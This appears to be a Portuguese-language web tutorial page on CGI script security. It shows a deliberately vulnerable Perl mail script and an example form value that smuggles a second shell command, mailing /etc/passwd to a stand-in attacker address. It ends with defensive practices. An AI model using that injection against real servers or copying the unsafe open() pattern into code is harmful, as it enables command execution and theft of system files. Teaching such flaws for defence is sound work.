Segurança em CGI

Existem basicamente duas maneiras de um script CGI apresentar falhas de segurança:

  1. Eles podem, intencionalmente ou não, passar informações sobre o sistema que ajudariam hackers a se infiltrarem.
  2. Scripts que processam informações de usuários remotos podem ser vulneráveis a ataques em que o usuário se aproveita do script para executar comandos do Sistema Operacional.

Exemplo de um script inseguro

Veja o script Perl abaixo que manda uma mail para um endereço preenchido em um formulário:

   $mail_to = &get_name_from_input; # read the address from form
   open (MAIL,"| /usr/lib/sendmail $mail_to");
   print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
   close MAIL;

O problema é a chamada a open(). O autor do script assumiu que o valor da variável $mail será sempre um inocente e-mail. Mas o que acontecerá caso o usuário passe um e-mail como

nobody@nowhere.com;mail badguys@hell.org</etc/passwd;

Agora a chamada a open() irá executar

/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwd

e enviará o arquivo de senhas do sistema para um hacker em potencial.

O pacote cgiwrap

Os scripts CGI normalmente executam com permissão de "nobody". Nessa circunstância fica difícil para os administradores do sistema determinarem quais scripts estão agindo indevidamente, enviando mails inúteis, por exemplo, ou enviando mensagens para a tela de um usuário. Há também a possibilidade de alguns programas interferirem (intencionalmente ou não) em dados mantidos por outros scripts.

O pacote cgiwrap permite fazer com que cada script execute com o ID do seu criador. Embora facilite a administração do servidor e impeça que os scripts interfiram uns nos outros, essa política apresenta um grande perigo para o usuário. Um furo de segurança em um de seus scripts pode permitir a um hacker apagar todo o diretório do usuário ou mesmo inserir um cavalo de Tróia em seu diretório. Isso era evitado anteriormente porque o usuário "nobody" não tem permissão de escrita em lugar nenhum.

Alguns práticas que devem ser evitadas:

  1. Evite fornecer informações sobre seu site e seu servidor, pois eles podem ser ajudar a quebrar sua segurança.
  2. Evite fazer considerações sobre os dados fornecidos pelos usuários. Lembre-se que seu script CGI não precisa ser acessado necessariamente a partir do seu formulário. Ele pode ser utilizado por qualquer um, em qualquer lugar do mundo.
  3. Não confie nos valores de variáveis "hidden" em seu formul'rio. Eles podem ser alterados.
  4. Confira os dados digitados pelos usuários antes de utilizá-los. Proceure remover metacaracteres como

?~<>^()[]{}$\n\r

  1. Nunca repasse ao Sistema Operacional dados digitados pelos usuários.
  2. Utilize sempre o path completo em suas chamadas a programas. Não confie no valor da variável PATH, a menos que ela seja setada no início do seu script. Evite incluir o diretório corrente no path.


Menu | Introdução | Primeiros Passos
Formulários | Segurança | Glossário | Referências